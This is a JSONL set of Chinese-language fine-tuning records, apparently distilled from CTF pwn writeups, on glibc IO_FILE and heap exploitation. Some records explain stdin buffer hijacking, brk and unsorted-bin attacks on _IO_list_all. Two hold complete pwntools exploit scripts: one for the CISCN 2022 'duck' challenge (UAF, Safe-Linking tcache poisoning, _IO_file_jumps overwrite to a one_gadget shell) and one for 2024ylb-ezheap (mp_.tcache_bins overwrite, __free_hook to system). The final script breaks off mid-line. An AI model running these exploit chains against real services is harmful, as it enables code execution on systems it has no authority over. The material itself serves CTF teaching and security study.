{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3b30cbce96c5942e692d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「stdin任意地址写」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## stdin任意地址写\n根据 stdin 缓冲区与指针的关系可知\n\n根据前面对 `fread` 的分析已经知道通过缓冲区进行输入的大致流程，但要实现任意地址写还要绕过其中具体的检查。\n\n+ `_IO_file_xsgetn`\n    - `fp->_IO_buf_base` 为空时会执行 `_IO_doallocbuf(fp)` 初始化缓冲区，因此 `fp->_IO_buf_base` 不能为空。\n\n```c\nif (fp->_IO_buf_base == NULL)\n\n    /* Maybe we already have a push back pointer.  */\n    if (fp->_IO_save_base != NULL) {\n        free(fp->_IO_save_base);\n        fp->_flags &= ~_IO_IN_BACKUP;\n    }\n\n    _IO_doallocbuf(fp);\n}\n```\n\n+ 如果 `fp->_IO_read_end` > `fp->_IO_read_ptr` 会将缓冲区中对应的数据复制到目标地址中，为了避免因为这个出现不必要的问题，最好令 `fp->_IO_read_end` = `fp->_IO_read_ptr` 。\n\n```c\nhave = fp->_IO_read_end - fp->_IO_read_ptr;\n...\nif (have > 0) {\n    s = __mempcpy(s, fp->_IO_read_ptr, have);\n    want -= have;\n    fp->_IO_read_ptr += have;\n}\n```\n\n+ 如果需要读入的数据长度如果大于缓冲区大小会采用直接读入的方式，因此不能使读入的数据长度大于缓冲区大小。\n\n```c\nif (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) {\n    if (__underflow(fp) == EOF)\n        break;\n    continue;\n}\n```\n\n+ `_IO_new_file_underflow`\n+ `_flags` 的 `_IO_NO_READS` 标志为不能为 1 。标志的定义是 `#define _IO_NO_READS 4` 。\n\n```c\nif (fp->_flags & _IO_NO_READS) {\n    fp->_flags |= _IO_ERR_SEEN;\n    __set_errno(EBADF);\n    return EOF;\n}\n```\n\n- `_IO_LINE_BUF(0x200)` 和 `_IO_UNBUFFERED(2)` 不能置位。\n\n```plain\nif (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) {\n  ...\n}\n```\n\n- 最终系统调用 `_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)` 读取数据，因此要想利用stdin输入缓冲区需设置 `FILE` 结构体中 `_IO_buf_base` 为`write_start` ，`_IO_buf_end` 为 `write_end` 。同时也需将结构体中的 `fp->_fileno` 设置为 0 ，最终调用 `read (fp->_fileno, buf, size))` 读取数据。\n\n```plain\nfp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;\nfp->_IO_read_end = fp->_IO_buf_base;\nfp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end\n        = fp->_IO_buf_base;\ncount = _IO_SYSREAD (fp, fp->_IO_buf_base,\n                     fp->_IO_buf_end - fp->_IO_buf_base);\n```\n\n将上述条件综合表述为：\n\n+ 设置 `_IO_read_end` 等于 `_IO_read_ptr` 。\n+ 设置 `_flag` &~ `_IO_NO_READS` 即 `_flag` &~ 0x4。\n+ 设置 `_fileno` 为 0 ，表示读入数据的来源是 `stdin` 。\n+ 设置 `_IO_buf_base` 为 `write_start` ，`_IO_buf_end` 为 `write_end` ；且使得 `_IO_buf_end` - `_IO_buf_base` 大于 `fread` 要读的数据。\n\n例题：\n\n首先格式化字符串可以泄露 libc 地址从而计算出 `_IO_2_1_stdin_` 地址。注意这里用的是 `__printf_chk` 函数，很多危险的格式化字符串功能都不支持，但是可以泄露数据。\n\n```plain\n`__printf_chk(1LL,` `\"name:\"``);`\n`read_n(v12, 0x60);`\n`__printf_chk(1LL, v12);`\n```\n\n另外 `v12` 存在栈溢出可以改到 `name_end` 指针造成任意地址写一比特 0 。\n\n```plain\n`char` `v12[80];` `// [rsp+18h] [rbp-D0h] BYREF`\n\n    `char` `*name_end;` `// [rsp+68h] [rbp-80h]`\n\n`...`\n\n    `name = (``char` `*)``malloc``(size);`\n\n    `name_end = &name[_size];`\n\n`...`\n\n    `read_n(v12, 96);`\n\n`...`\n\n    `__printf_chk(1LL,` `\"message:\"``);`\n\n    `read_n(name, size);`\n\n    `*name_end = 0;`\n\n    `name_end = &name[size];`\n```\n\n利用思路：\n\n+ 格式化字符串泄露 libc 基址。\n+ 在 `_IO_2_1_stdin_._IO_buf_base` 的最低一字节写 0 ，之后调用 `scanf` 时触发任意地址写（注意不是 `read` ，因为 `read` 函数仅是对系统调用的简单封装，不走 IO_FILE）修改 `_IO_buf_base` 和 `_IO_buf_end` 覆盖到 `__free_hook` 区域。\n+ 再次使用任意地址写在 `__free_hook` 写 `one_gadget` 。\n+ 调用 `free` 函数获取 shell 。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-3a35219db04b3dbd", "original_line": 245, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-3a35219db04b3dbd", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4470a18babe84bb1b707", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `IO-FILE/[CISCN 2022 华东北]duck` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`IO-FILE/[CISCN 2022 华东北]duck`\n\n## Writeup 蒸馏\n# [CISCN 2022 华东北] duck - Pwn Writeup\n\n## 结论\n\n这份 `exp.py` 使用的是 **UAF 泄漏 + Safe-Linking 下的 tcache poisoning + 劫持 libc `_IO_file_jumps` 跳转表触发 one_gadget** 的利用手法。\n\n核心不是传统的 `__free_hook` / `__malloc_hook`，而是在 glibc 2.34 环境下通过 tcache 任意地址分配把 chunk 申请到 `_IO_file_jumps`，覆盖其中的 `_IO_overflow` 函数指针；之后程序继续调用 `puts(\"Done\")` 时触发 stdout 的 FILE vtable 分发，跳转到 one_gadget 拿 shell。\n\n---\n\n## 保护信息\n\n```text\nArch:       amd64-64-little\nRELRO:      Full RELRO\nStack:      Canary found\nNX:         NX enabled\nPIE:        PIE enabled\nSHSTK:      Enabled\nIBT:        Enabled\n```\n\n题目自带 `ld.so` 和 `libc.so.6`，二进制解释器也是 `./ld.so`。libc 中 `_IO_file_jumps` 符号偏移为：\n\n```text\n_IO_file_jumps = libc + 0x1f4560\n```\n\n该符号位于 `__libc_IO_vtables` 段，段属性为 `WA`，所以本题可以通过任意地址分配写它：\n\n```text\n[32] __libc_IO_vtables PROGBITS 00000000001f3960 ... WA\n```\n\n---\n\n## 程序逻辑\n\n菜单功能很简单：\n\n```text\n1.Add\n2.Del\n3.Show\n4.Edit\n```\n\n关键逻辑如下：\n\n### add\n\n- 固定 `malloc(0x100)`。\n- 从全局指针数组里找第一个空槽保存指针。\n- 最多遍历到 index 19。\n\n### delete\n\n- 输入 idx。\n- 只检查 `idx <= 0x14` 且 `ptr[idx] != NULL`。\n- 调用 `free(ptr[idx])`。\n- **没有把 `ptr[idx]` 清零**。\n\n### show\n\n- 输入 idx。\n- 检查后直接：\n\n```c\nputs(ptr[idx]);\n```\n\n因为 free 后指针不清零，所以可以 show 已释放 chunk，形成 UAF leak。\n\n### edit\n\n- 输入 idx 和 size。\n- `size <= 0x100` 时调用：\n\n```c\nread(0, ptr[idx], size);\n```\n\n同样没有检查 chunk 是否已经 free，因此可以 edit 已释放 chunk，形成 UAF write。\n\n---\n\n## 漏洞点\n\n主要漏洞是 **free 后指针未清空导致 UAF**：\n\n1. `show(freed_idx)` 可以读 freed chunk 中的 tcache / unsorted bin 元数据。\n2. `edit(freed_idx)` 可以改 freed chunk 的 tcache `fd` 指针。\n3. 配合 glibc 2.34 的 Safe-Linking，只要泄漏 heap base，就可以正确伪造 tcache `fd`。\n\n程序的 idx 检查也不严谨：`delete/show/edit` 允许 `idx <= 0x14`，但 add 只使用 0~19；这里可能存在 index 20 的边界问题。不过当前 exp 没有用这个点，完整利用链只依赖 UAF。\n\n---\n\n## 利用流程\n\n### 1. 泄漏 heap base\n\n先申请一个 chunk，然后释放它，再 show 这个 freed chunk：\n\n```python\nadd()\ndele(0)\nshow(0)\n```\n\nglibc 2.34 tcache 使用 Safe-Linking：\n\n```c\nstored_fd = real_fd ^ (chunk_addr >> 12)\n```\n\n当 tcache 链表只有一个 chunk 时，`real_fd = NULL`，所以 freed chunk 里保存的是：\n\n```text\nchunk_addr >> 12\n```\n\nexp 读取这个值后左移 12 位得到 heap page base：\n\n```python\nheap_base = u64(leak.ljust(8, b\"\\x00\")) << 12\n```\n\n原 exp 中对应代码：\n\n```python\nadd()\ndele(0)\nshow(0)\nr()\nheap_base = u64(ru(\"\\x0a\")[-6:-1].ljust(8, b\"\\x00\")) << 12\n```\n\n---\n\n### 2. 泄漏 libc base\n\n继续申请 9 个 `0x100` chunk，然后释放 index 1~8：\n\n```python\nfor i in range(9):\n    add()\nfor i in range(1, 9):\n    dele(i)\n```\n\n0x110 大小的 tcache bin 默认最多缓存 7 个 chunk。释放第 8 个同尺寸 chunk 时，tcache 已满，该 chunk 会进入 unsorted bin。\n\n因此 `show(8)` 可以泄漏 unsorted bin 的 `fd`，也就是 main_arena 附近地址：\n\n```python\nshow(8)\nlibc_base = leak - 0x1f2cc0\n```\n\n原 exp 中使用的偏移是：\n\n```python\nlibc_addr = u64(r(6).ljust(8, b\"\\x00\")) - 0x1f2cc0\n```\n\n---\n\n### 3. tcache poisoning 绕过 Safe-Linking\n\n释放 index 1~7 后，tcache 链表头是 index 7 对应的 chunk。由于存在 UAF，可以直接 edit index 7，篡改其 tcache `fd`。\n\n目标地址选择 libc 的 `_IO_file_jumps`：\n\n```python\n_IO_file_jumps = libc_base + libc.symbols[\"_IO_file_jumps\"]\n```\n\n因为 Safe-Linking 要求写入 mangled fd，所以需要写：\n\n```python\ntarget = ((heap_base + 0x8f0) >> 12) ^ _IO_file_jumps\nedit(7, 8, p64(target))\n```\n\n这里 `heap_base + 0x8f0` 是 index 7 freed chunk 的用户区地址，也就是 tcache `fd` 所在位置。glibc 解链时会执行：\n\n```text\nreal_next = stored_fd ^ (chunk_addr >> 12)\n```\n\n于是 malloc 第二次从该 tcache bin 取 chunk 时，就会返回 `_IO_file_jumps`。\n\n---\n\n### 4. 申请到 `_IO_file_jumps`\n\n```python\nadd()\nadd()\n```\n\n第一次 `add()` 返回原来的 tcache head chunk；第二次 `add()` 返回被 poisoning 后的目标地址 `_IO_file_jumps`，并被保存到新的数组槽中，也就是原 exp 的 index 11。\n\n---\n\n### 5. 覆盖 `_IO_file_jumps + 0x18` 为 one_gadget\n\nexp 选择 one_gadget：\n\n```python\none_gadget = libc_base + 0xda864\n```\n\n`one_gadget` 约束为：\n\n```text\n0xda864 execve(\"/bin/sh\", r13, rdx)\nconstraints:\n  [r13] == NULL || r13 == NULL || r13 is a valid argv\n  [rdx] == NULL || rdx == NULL || rdx is a valid envp\n```\n\n覆盖内容：\n\n```python\nedit(11, 64, p64(0) * 3 + p64(one_gadget))\n```\n\n`p64(0) * 3` 让写入位置到 `_IO_file_jumps + 0x18`，也就是 FILE jump table 里的 `_IO_overflow` 槽位附近。\n\n题目把 stdout 设置为无缓冲：\n\n```c\nsetvbuf(stdout, 0, 2, 0);\n```\n\n所以程序后续执行 `puts(\"Done\")` 时，stdout 输出换行等流程会走到 vtable 的 overflow 分发。此时 `_IO_file_jumps + 0x18` 已经被改成 one_gadget，于是控制流跳到 one_gadget，执行 `execve(\"/bin/sh\", ...)`。\n\n---\n\n## 利用脚本关键代码\n\n原 `exp.py` 的关键 payload 如下：\n\n```python\n# tcache leak heap addr\nadd()\ndele(0)\nshow(0)\nr()\nheap_base = u64(ru(\"\\x0a\")[-6:-1].ljust(8, b\"\\x00\")) << 12\n\n# unsortedbin leak libc addr\nfor i in range(9):\n    add()\nfor i in range(1, 9):\n    dele(i)\n\nshow(8)\nr()\nlibc_addr = u64(r(6).ljust(8, b\"\\x00\")) - 0x1f2cc0\n\none_gadget = [0xda861, 0xda864, 0xda867]\n_IO_file_jumps = libc_addr + libc.symbols[\"_IO_file_jumps\"]\n\n## Exploit 关键代码\n### IO-FILE/[CISCN 2022 华东北]duck/exp.py\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\nmenu = 'Choice: '\n\ndef add():\n    io.sendlineafter(menu, '1')\n\ndef show(index):\n    io.sendlineafter(menu, '3')\n    io.sendlineafter('Idx:', str(index))\n\ndef dele(index):\n    io.sendlineafter(menu, '2')\n    io.sendlineafter('Idx:', str(index))\n\ndef edit(index, size, content):\n    sa(menu,b'4')\n    sa(b'Idx: ',index)\n    sa(b'Size: ',size)\n    sa(b'Content: ',content)\n\n# tcache leak heap addr\nadd()\ndele(0)\nshow(0)\nr()\nheap_base = u64(ru(\"\\x0a\")[-6:-1].ljust(8, b'\\x00'))<<12\nlg(\"heap_base = \" , heap_base)\n\n# unosrtedbin leak libc addr\nfor i in range(9):\n    add()\nfor i in range(1,9):\n    dele(i)\n\nshow(8)\nr()\nlibc_addr = u64(r(6).ljust(8, b'\\x00'))-0x1f2cc0\nlg('libc_addr', libc_addr)\n\none_gadget = [0xda861,0xda864,0xda867]\nlg(\"one_gadget\",(one_gadget[0]+libc_addr))\n_IO_file_jumps = libc_addr + libc.symbols['_IO_file_jumps']\n\ntarget = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps) # Safe-Linking\nlg(\"target\", target)\n\ndbg()\nedit(b'7',b'8',p64(target))\n\nadd()\nadd()\n\nedit(b'11',b'64',p64(0)*3 + p64((one_gadget[1]+libc_addr)))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 38, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-pair-b038c13c80d97d8a", "original_line": 274, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/[CISCN 2022 华东北]duck", "source_record_id": "pwn101-pair-b038c13c80d97d8a", "source_split": "train", "split": "train", "split_group_key": "0cf87bb8cfd9af9a96caeaf0"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-490fedfe3baca410f265", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「brk 扩展堆逻辑」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### brk 扩展堆逻辑\n\n```c\nsize = nb + mp_.top_pad + MINSIZE;\nsize = ALIGN_UP(size, pagesize); // 页对齐\n\nif (size > 0) {\n    brk = (char*) MORECORE(size);\n    if (brk != (char*) MORECORE_FAILURE) {\n        void (*hook)(void) = atomic_forced_read(__after_morecore_hook);\n        if (hook) (*hook)();\n    }\n}\n```\n\n+ 如果堆连续，`size` 会减去旧 top chunk 大小并页对齐。\n+ ptmalloc 会为新的 top chunk 调用 brk 扩展堆，然后释放原 top chunk。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-ce7f55fe772971e4", "original_line": 266, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-ce7f55fe772971e4", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4f06d0cb3e6f35a5b853", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「gdb调试」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## gdb调试\n```plain\n#查看stdin的结构\np _IO_2_1_stdin_\n#查看stdin的内容\np *stdin\n\n#查看stdout的结构\np _IO_2_1_stdout_\n#查看stdout的内容\np *stdout\n\n\n#查看stderr的结构\np _IO_2_1_stderr_\n#查看stderr的内容\np *stderr\n\n#_IO_list_all是一个链表头，指向所有打开的_IO_FILE结构\np _IO_list_all", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-9350d48fc2952927", "original_line": 255, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-9350d48fc2952927", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-530f677ab0e4ca8a5e64", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「利用 unsorted bin 攻击 _IO_list_all」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 利用 unsorted bin 攻击 _IO_list_all\n\n1. 修改 unsorted chunk 的 `size = 0x61`，`bk = _IO_list_all - 0x10`。\n2. 在 chunk 中伪造 `_IO_FILE` 结构体。\n\n\n\n1. 申请一个大小不同于 0x60 的 chunk。\n\n+ 程序在 unsorted bin 中查找合适 chunk。\n+ 由于 `bk` 已被修改，不满足 `bck == unsorted_chunks(av)` 条件，不会直接返回 chunk，而是放入 small bin。\n\n```c\nunsorted_chunks(av)->bk = bck;\nbck->fd = unsorted_chunks(av);\n\nif (in_smallbin_range(size)) {\n    victim_index = smallbin_index(size);\n    bck = bin_at(av, victim_index);\n    fwd = bck->fd;\n}\nvictim->bk = bck;\nvictim->fd = fwd;\nfwd->bk = victim;\nbck->fd = victim;\n```\n\n效果示意：\n\n", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-58bd0600b332645b", "original_line": 247, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-58bd0600b332645b", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-587f3fd8595b2b445316", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `Heap/2024ylb-ezheap` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`Heap/2024ylb-ezheap`\n\n## Writeup 蒸馏\n# 2024ylb-ezheap\n\n## Summary\n\n题目是 glibc 2.31 下的堆题。程序提供 `add / delete / edit / show` 四个功能，核心利用点是：`add` 的下标只递增不复用，`read` 可以短读，从而在重新申请 unsorted chunk 后泄露残留的 libc 指针；同时 `edit` 提供一次 4 字节任意地址写，可以篡改 `mp_.tcache_bins`，把 0x510 大小纳入 tcache，并借助 tcache_perthread_struct 越界索引劫持 `__free_hook` 为 `system`。\n\n## Protection\n\n```text\nArch: amd64\nRELRO: Full RELRO\nCanary: enabled\nNX: enabled\nPIE: enabled\nlibc: 2.31\n```\n\n## Vulnerability Analysis\n\n### 1. 信息泄露\n\n`add_chunk` 每次只使用全局递增的 `chunk_index` 作为新 chunk 下标，不会优先复用被 delete 的表项。释放一个 0x500 chunk 后，再申请同大小 chunk 会拿回同一块堆内存，但 `read` 只要读到我们发送的 8 个 `a` 就返回，不会清空后面的旧数据。\n\n因此新 chunk 的前 8 字节被覆盖为 `aaaaaaaa`，后面仍保留 unsorted bin 的 `fd / bk` 指针。调用 `show` 使用 `puts(ptr[idx])` 输出字符串，就能在 `aaaaaaaa` 后泄露 libc 地址：\n\n```python\ndelete(2)\nadd(0x500, b'a' * 8)\nshow(5)\nio.recvuntil(b'a' * 8)\nleak = u64(io.recvn(6).ljust(8, b'\\x00'))\nlibc_base = leak - 0x1ecbe0\n```\n\n这里 `0x1ecbe0` 是题目附带 `libc-2.31.so` 中 unsorted bin 泄露指针相对 libc base 的偏移。\n\n### 2. 一次任意地址写\n\n`edit_chunk` 不是真正编辑某个 chunk，而是读取 8 字节地址，然后执行：\n\n```c\n*(uint32_t *)addr = 0xa2c2a;\n```\n\n这给了我们一次 4 字节任意地址写。glibc 2.31 中，默认 `mp_.tcache_bins = 64`，所以 0x510 这种大 chunk 不会进入 tcache。利用这次写把 `mp_.tcache_bins` 改大：\n\n```python\nmp_ = libc_base + 0x1EC280 + 0x50\nedit(p64(mp_))\n```\n\n`mp_ + 0x50` 对应 `tcache_bins` 字段。写入大值后，0x510 chunk 的 tcache index 也会被认为合法。\n\n### 3. tcache 越界劫持 `__free_hook`\n\n0x500 用户大小对应 0x510 chunk size，其 tcache index 超过原本 64 个 bin 的范围。由于我们已经把 `tcache_bins` 改大，glibc 会访问 `tcache_perthread_struct` 后面的越界 `entries[idx]`。\n\n`tcache_perthread_struct` 位于 heap 开头，越界的 `entries[0x4f]` 刚好落在后续 chunk 的用户区偏移 `0x68` 附近。因此：\n\n1. `delete(3)`、`delete(0)` 把 0x510 chunk 放进越界 tcache bin。\n2. `add(0x500, p64(0)*13 + p64(__free_hook))` 申请回 chunk0，并在偏移 `0x68` 处伪造越界 tcache entry 为 `__free_hook`。\n3. 下一次 `add(0x500, p64(system))` 返回 `__free_hook`，写入 `system`。\n4. `delete(1)` 释放内容为 `/bin/sh` 的 chunk，触发 `system('/bin/sh')`。\n\n## Exploit\n\n本地运行时不要用环境变量 `LD_PRELOAD=./libc-2.31.so`，否则 `system('/bin/sh')` 生成的 shell 会继承旧 libc，可能启动失败。这里使用 `ld.so --preload`，只影响目标进程本身。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\nimport os\n\nelf = ELF('./pwn')\nlibc = ELF('./libc-2.31.so')\ncontext(os=elf.os, arch=elf.arch, log_level='info')\n\nld_path = '/tools/binary/glibc-all-in-one/libs/2.31/64/ld-2.31.so'\n\n\ndef start():\n    if args.REMOTE:\n        host = args.HOST or 'TARGET_IP'\n        port = int(args.PORT or 9999)\n        return remote(host, port)\n    # Do not use env={\"LD_PRELOAD\": ...}: system('/bin/sh') would inherit it,\n    # and the spawned host shell can fail with the old challenge libc.\n    # ld.so --preload affects only this exec, so the final shell is clean.\n    if os.path.exists(ld_path):\n        return process([ld_path, '--preload', './libc-2.31.so', elf.path])\n    return process([elf.path], env={'LD_PRELOAD': './libc-2.31.so'})\n\n\nio = start()\n\nmenu = b'Input your choice'\n\n\ndef add(size, content):\n    io.sendlineafter(menu, b'1')\n    io.sendlineafter(b'Size :', str(size).encode())\n    io.sendafter(b'Content :', content)\n\n\ndef delete(idx):\n    io.sendlineafter(menu, b'2')\n    io.sendlineafter(b'Index :', str(idx).encode())\n\n\ndef edit(content):\n    io.sendlineafter(menu, b'3')\n    io.sendafter(b'content :', content)\n\n\ndef show(idx):\n    io.sendlineafter(menu, b'4')\n    io.sendlineafter(b'Index :', str(idx).encode())\n\n\n# Layout chunks. add() always uses the monotonically increasing chunk_index,\n# so reallocating a freed chunk can leave old heap metadata after a short read.\nadd(0x500, b'a')              # 0\nadd(0x500, b'/bin/sh\\x00')    # 1, argument for system()\nadd(0x500, b'a')              # 2, freed for unsorted-bin leak\nadd(0x500, b'a')              # 3\nadd(0x100, b'a')              # 4, guard/top separation\n\n# Leak libc from the reused unsorted-bin chunk.\ndelete(2)\nadd(0x500, b'a' * 8)          # 5 overlaps stale ptr[2]\nshow(5)\nio.recvuntil(b'a' * 8)\nleak = u64(io.recvn(6).ljust(8, b'\\x00'))\nlibc_base = leak - 0x1ecbe0   # unsorted-bin fd = main_arena+0x60 for ./libc-2.31.so\nfree_hook = libc_base + libc.sym['__free_hook']\nsystem = libc_base + libc.sym['system']\nmp_ = libc_base + 0x1EC280 + 0x50\n\nlog.success(f'leak      = {hex(leak)}')\nlog.success(f'libc_base = {hex(libc_base)}')\nlog.success(f'__free_hook = {hex(free_hook)}')\nlog.success(f'system    = {hex(system)}')\n\n## Exploit 关键代码\n### Heap/2024ylb-ezheap/exp.py\n```python\n#!/usr/bin/env python3\nfrom pwn import *\nimport os\n\nelf = ELF('./pwn')\nlibc = ELF('./libc-2.31.so')\ncontext(os=elf.os, arch=elf.arch, log_level='info')\n\nld_path = '/tools/binary/glibc-all-in-one/libs/2.31/64/ld-2.31.so'\n\n\ndef start():\n    if args.REMOTE:\n        host = args.HOST or 'TARGET_IP'\n        port = int(args.PORT or 9999)\n        return remote(host, port)\n    # Do not use env={\"LD_PRELOAD\": ...}: system('/bin/sh') would inherit it,\n    # and the spawned host shell can fail with the old challenge libc.\n    # ld.so --preload affects only this exec, so the final shell is clean.\n    if os.path.exists(ld_path):\n        return process([ld_path, '--preload', 